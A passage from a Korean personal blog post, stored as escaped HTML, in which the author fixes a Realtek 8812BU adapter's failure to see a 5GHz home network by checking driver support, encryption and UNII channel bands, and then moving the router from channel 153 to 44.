&lt;li data-end=&quot;238&quot; data-start=&quot;195&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;다른 5GHz 와이파이는 가끔씩 보임 &lt;span style=&quot;text-align: left;&quot;&gt;&amp;rarr;&amp;nbsp;&lt;/span&gt;&lt;b&gt;5GHz 자체는 감지 가능&lt;/b&gt; &lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;269&quot; data-start=&quot;239&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;메인보드에 무선 LAN 카드가 없으므로 Realtek 8812BU 무선 랜카드 사용&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이제 문제의 원인을 찾아보자.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;✅_2단계:_공유기와_랜_카드_암호화_방식_확인&quot; style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;710&quot; data-start=&quot;685&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;✅&lt;b&gt;1단계: 5GHz Wi-Fi 자체가 안 보임&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;다른 5GHz 와이파이는 보이고, &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 8812BU 무선 랜카드도 5GHz를 지원한다고 나와있지만 한 번 눈으로 확인해봤다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1760100744258&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;netsh wlan show drivers&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지원되는 주파수 형식은 802.11n 802.11g 802.11b 802.11ac 802.11n 802.11a 이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt; 802.11ac, 802.11a, 802.11n&amp;nbsp;&lt;/b&gt;가 존재하므로 5GHz는 사용가능하다고 판단할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;또한 지원되는 대역 수도 아래 사진과 같이 나온다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;699&quot; data-origin-height=&quot;107&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8Pfdm/btsQ4jIyZ5q/2q3iytQBGrkv2Rkww26ab1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8Pfdm/btsQ4jIyZ5q/2q3iytQBGrkv2Rkww26ab1/img.png&quot; data-alt=&quot;지원되는 대역 수&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8Pfdm/btsQ4jIyZ5q/2q3iytQBGrkv2Rkww26ab1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8Pfdm%2FbtsQ4jIyZ5q%2F2q3iytQBGrkv2Rkww26ab1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;699&quot; height=&quot;107&quot; data-origin-width=&quot;699&quot; data-origin-height=&quot;107&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;지원되는 대역 수&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-end=&quot;602&quot; data-start=&quot;589&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;개념 정리:&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;678&quot; data-start=&quot;603&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;802.11 표준은 Wi-Fi(무선 LAN, Local Area Network)의 통신 규격을 정의한 국제적인 표준&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;802.11n&lt;/b&gt;: 2.4GHz와 5GHz 대역 모두를 지원하며, MIMO(Multiple Input Multiple Output) 기술을 도입하여 최대 600Mbps의 속도를 지원&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;516&quot; data-start=&quot;448&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;802.11g&lt;/b&gt;: 2.4GHz 대역을 사용하며 802.11b보다 더 빠른 최대 54Mbps의 속도를 제공&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;373&quot; data-start=&quot;300&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;802.11b&lt;/b&gt;: 최초의 Wi-Fi 표준 중 하나로, 2.4GHz 대역을 사용하며 최대 11Mbps의 속도를 지원&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;447&quot; data-start=&quot;374&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;b&gt;802.11ac&lt;/b&gt;: 5GHz 전용으로, 더 넓은 대역폭과 더 많은 채널을 지원하여 매우 빠른 속도(최대 1Gbps 이상)를 제공하며, 주로 최신 기기에서 사용&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;447&quot; data-start=&quot;374&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;b&gt;802.11a&lt;/b&gt;: 5GHz 대역을 사용하고, 최대 54Mbps의 속도를 지원하지만, 802.11b와는 호환되지 않는다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot; data-start=&quot;685&quot; data-end=&quot;710&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;✅ 2단계: 공유기와 랜 카드 암호화 방식 확인&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;구글링을 하다보니 공유기와 랜 카드의 암호화 방식이 다르면 서로 통신하지 못할 수 있다는 글을 발견했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;먼저 공유기에 접속해서 확인해보니 5GHz 와이파이의 암호화 방식은 &lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;WPA2-PSK 였다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 8812BU 무선 랜카드도 WPA2-PSK 방식을 지원하므로 해당 내용은 문제가 아니라고 판단했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot; data-start=&quot;589&quot; data-end=&quot;602&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 간단한 암호화 방식 보안 수준 설명 :&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 94px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;WEP&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;낮음&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;오래된 보안 방식, 취약점이 많음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;WPA&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;중간&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;WEP의 보안 문제를 해결했지만 여전히 취약함, TKIP 사용 (매번 키 변경)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;WPA2&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;높음&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;AES 암호화 방식 사용, 현재 가장 보편적이고 안전한 방식&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;WPA3&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;매우 높음&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;더 강력한 인증과 암호화를 제공, 최신 보안 표준&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;710&quot; data-start=&quot;685&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;✅ 3단계: &lt;b&gt;공유기의 채널 확인&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;본격적으로 GPT와 협력을 시작했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;우리집 공유기에 대한 내용을 얘기하면서 &amp;nbsp;&lt;b&gt;UNII 대역&lt;/b&gt;&lt;span style=&quot;text-align: start;&quot;&gt;에 대해 알려줬다.&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;UNII 대역 (Unlicensed National Information Infrastructure)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;무선에서 사용되는 주파수 대역 중 하나, 주로 WIFI와 같은 무선 네트워크 기술에서 사용되는 대역&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;면허가 필요 없는 주파수 대역으로, 누구나 사용 가능하다. -&amp;gt; 공용 주파수 대역&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;크게 4개로 나누어져있고, 주로 5GHz에서 사용 가능하다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;아래는 GPT가 알려준 내용이다.&lt;/span&gt;&lt;/p&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;607&quot; data-start=&quot;446&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;UNII-1 (5.15 ~ 5.25 GHz)&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;607&quot; data-start=&quot;483&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;509&quot; data-start=&quot;483&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;주로 &lt;b&gt;채널 36~48번&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;576&quot; data-start=&quot;513&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 대역은 대부분의 Wi-Fi 기기들이 사용할 수 있으며, 짧은 거리에서 신호 전송을 위한 용도로 적합합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;607&quot; data-start=&quot;580&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;보통 실내에서 사용하는 데 유용한 대역&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;820&quot; data-start=&quot;609&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;UNII-2 (5.25 ~ 5.35 GHz)&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;820&quot; data-start=&quot;646&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;672&quot; data-start=&quot;646&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;주로 &lt;b&gt;채널 52~64번&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;731&quot; data-start=&quot;676&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 대역은 조금 더 넓은 범위의 신호를 지원하고, 고속 데이터 전송에 유리한 환경을 제공&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;820&quot; data-start=&quot;735&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;**DFS(동적 주파수 선택)**가 적용돼, 기상 레이더와 같은 중요한 시스템과 간섭을 피하기 위해 일부 채널에서의 사용에 제한이 있을 수 있다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1028&quot; data-start=&quot;822&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;UNII-2 Extended (5.47 ~ 5.725 GHz)&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1028&quot; data-start=&quot;869&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;897&quot; data-start=&quot;869&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;주로 &lt;b&gt;채널 100~140번&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;959&quot; data-start=&quot;901&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 대역도 DFS가 적용돼 있어 기상 레이더와의 간섭을 피하기 위해 사용에 제한이 있을 수 있다.&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;1028&quot; data-start=&quot;963&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 대역은 더 긴 범위와 더 많은 데이터 전송을 지원하지만, 외부 간섭의 위험이 커지기 때문에 주의가 필요하다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1215&quot; data-start=&quot;1030&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;UNII-3 (5.725 ~ 5.85 GHz)&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1215&quot; data-start=&quot;1068&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1096&quot; data-start=&quot;1068&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;주로 &lt;b&gt;채널 149~165번&lt;/b&gt;에 해당합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;1160&quot; data-start=&quot;1100&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;DFS가 적용되지 않는 대역으로, 높은 데이터 전송 속도를 지원하고, 장거리에서 유리한 성능을 보인다.&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;1215&quot; data-start=&quot;1164&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;상대적으로 덜 사용되지만, 넓은 대역폭을 지원해 고속 인터넷이 필요한 환경에 적합하다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot; data-start=&quot;589&quot; data-end=&quot;602&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;개념 정리:&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;762&quot; data-end=&quot;1150&quot;&gt;
&lt;li data-start=&quot;762&quot; data-end=&quot;835&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;Wi-Fi 채널&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;781&quot; data-end=&quot;835&quot;&gt;
&lt;li data-start=&quot;781&quot; data-end=&quot;808&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;채널이란 주파수 대역을 나눈 세부적인 구간을 의미&lt;/span&gt;&lt;/li&gt;
&lt;li data-start=&quot;781&quot; data-end=&quot;808&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;5GHz는 &lt;b&gt;채널 36&lt;/b&gt; (5180 MHz)부터 &lt;b&gt;채널 165&lt;/b&gt; (58320 MHz) 까지를 지원&lt;/span&gt;&lt;/li&gt;
&lt;li data-start=&quot;811&quot; data-end=&quot;835&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;채널은&amp;nbsp;&lt;b&gt;대역폭과 간섭&lt;/b&gt;에 영향을 줌&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;762&quot; data-end=&quot;1150&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;b&gt;DFS (Dynamic Frequency Selection)&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;UNII-2와 UNII-2 Extended 대역에서는 &lt;b&gt;DFS&lt;/b&gt; 규정을 준수해야 한다. &lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 규정은 기상 레이더나 항공 시스템 등 중요한 통신 시스템과의 간섭을 방지하기 위해, Wi-Fi 장치가 자동으로 채널을 변경하도록 요구한다. &lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;즉, 이 대역에서 Wi-Fi 기기를 사용할 때는 특정 조건에서 자동으로 채널을 변경해야 할 수 있다. &lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;우리집 공유기 5GHz 채널은&amp;nbsp;&lt;/span&gt;&lt;b&gt;153번&lt;/b&gt;&lt;span style=&quot;text-align: start;&quot;&gt;으로 설정되어 있었다.&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;1201&quot; data-start=&quot;1157&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;✅ 4단계: &lt;b&gt;Realtek 8812BU 무선 어댑터의 호환성 문제&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h4 data-end=&quot;1217&quot; data-start=&quot;1203&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;위 내용을 말하면서 자연스럽게 GPT가 아래와 같은 내용을 언급했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Realtek 8812BU 칩셋은 일부 채널(특히 UNII-3 채널)에서 SSID를 감지하지 못하는 문제가 자주 발생한다,&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;1386&quot; data-start=&quot;1299&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이유가 부실하지만 아래와 같이 설명해주었다.&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1386&quot; data-start=&quot;1307&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1347&quot; data-start=&quot;1307&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;드라이버나 펌웨어가 &lt;b&gt;국가 규제 채널 맵을 제대로 반영하지 않음&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;1386&quot; data-start=&quot;1350&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;DFS 회피나 채널 제한 기능이 하드코딩되어 있는 경우도 있음&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;위와 같은 이유를 언급하면서 UNII-1 대역으로 공유기 채널은 변경할 것을 추천해줬다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;1432&quot; data-start=&quot;1393&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;✅ 5단계: &lt;b&gt;공유기 채널을 44번으로 변경 &amp;rarr; 문제 해결&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;호다닥 들어가서 5GHz 채널을 44번으로 바꿔주었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;392&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1tSdT/btsQ5AJCGzI/M9raUfJTYgU2k5eQZ1HkWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1tSdT/btsQ5AJCGzI/M9raUfJTYgU2k5eQZ1HkWK/img.png&quot; data-alt=&quot;공유기 채널 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1tSdT/btsQ5AJCGzI/M9raUfJTYgU2k5eQZ1HkWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1tSdT%2FbtsQ5AJCGzI%2FM9raUfJTYgU2k5eQZ1HkWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;527&quot; height=&quot;316&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;392&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;공유기 채널 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그랬더니 드디어!!! 데스크탑에 우리집 공유기 5GHz가 보인다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연결했더니 와이파이만으로 250Mbps가 나온다 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1693&quot; data-origin-height=&quot;716&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/V3xa6/btsQ6NIcwU9/o2NzXjF7SxBv8NGuT0UaRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/V3xa6/btsQ6NIcwU9/o2NzXjF7SxBv8NGuT0UaRK/img.png&quot; data-alt=&quot;5GHz 와이파이 연결 성공&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/V3xa6/btsQ6NIcwU9/o2NzXjF7SxBv8NGuT0UaRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FV3xa6%2FbtsQ6NIcwU9%2Fo2NzXjF7SxBv8NGuT0UaRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;765&quot; height=&quot;324&quot; data-origin-width=&quot;1693&quot; 